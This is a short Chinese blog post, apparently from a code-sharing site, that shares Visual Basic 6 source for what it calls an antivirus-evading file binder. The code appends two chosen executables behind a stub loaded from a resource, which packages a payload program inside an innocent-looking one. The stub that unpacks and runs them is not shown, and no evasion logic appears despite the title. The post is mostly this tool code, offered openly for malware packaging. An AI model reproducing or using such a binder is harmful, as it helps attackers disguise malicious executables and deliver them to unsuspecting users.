我是靠谱客的博主 聪慧小刺猬,这篇文章主要介绍关于vb编写免杀捆绑器代码,现在分享给大家,希望可以做个参考。

Dim FirstFile As String
Dim SecondFile As String
Dim FinalFile As String
Dim first() As Byte
Dim second() As Byte
Dim file1size As Long, file2size As Long

Private Sub Command3_Click()
SecondFile = Text2.Text
FirstFile = Text1.Text
FinalFile = Text3.Text

Open FirstFile For Binary Access Read As #1
file1size = LOF(1)
ReDim first(LOF(1) - 1)
Get #1, , first
Close #1

Open SecondFile For Binary Access Read As #2
file2size = LOF(2)
ReDim second(LOF(2) - 1)
Get #2, , second
Close #2

Open FinalFile For Binary Access Write As #3
Dim myarray() As Byte
myarray = LoadResData(101, "CUSTOM")
Put #3, , myarray
Put #3, 20481, first
Put #3, 20481 + file1size, second
Put #3, 20481 + file1size + file2size, "size" & file1size
Close #3

MsgBox "文件绑定完毕,自行测试!"
End Sub

Private Sub Form_Unload(Cancel As Integer)
Exit Sub
End Sub


Private Sub Text1_DblClick()
cmdl.DialogTitle = "Choose Your First File"
cmdl.Filter = "Executable File (*.exe)|*.exe"
cmdl.Action = 1
Text1.Text = cmdl.FileName
End Sub


Private Sub Text2_DblClick()
cmdl.DialogTitle = "Choose Your Second File"
cmdl.Filter = "Executable File (*.exe)|*.exe"
cmdl.Action = 1
Text2.Text = cmdl.FileName
End Sub


Private Sub Text3_DblClick()
cmdl.DialogTitle = "Choose Your Final Path"
cmdl.Filter = "Executable File (*.exe)|*.exe"
cmdl.ShowSave
Text3.Text = cmdl.FileName
End Sub

 

最后

以上就是聪慧小刺猬最近收集整理的关于关于vb编写免杀捆绑器代码的全部内容,更多相关关于vb编写免杀捆绑器代码内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(54)

评论列表共有 0 条评论

立即
投稿
返回
顶部